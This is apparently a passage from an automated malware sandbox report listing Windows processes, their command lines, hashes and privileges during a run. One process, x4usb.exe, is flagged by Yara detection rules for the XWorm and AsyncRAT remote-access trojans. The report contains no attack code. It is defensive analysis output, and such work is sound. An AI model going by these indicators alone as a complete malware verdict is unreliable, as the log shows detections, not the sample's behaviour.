MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	31
Start time:	18:31:14
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	33
Start time:	18:31:15
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	34
Start time:	18:31:16
Start date:	01/07/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff646ff0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	35
Start time:	18:31:16
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	36
Start time:	18:31:17
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\x4usb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\x4usb.exe"
Imagebase:	0x820000
File size:	70'144 bytes
MD5 hash:	FD744070409A72B86CC2B344D1719B33
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Has exited:	true

Target ID:	37
Start time:	18:31:18
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	18:31:18
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	41
Start time:	18:31:19
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	42
Start time:	18:31:19
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false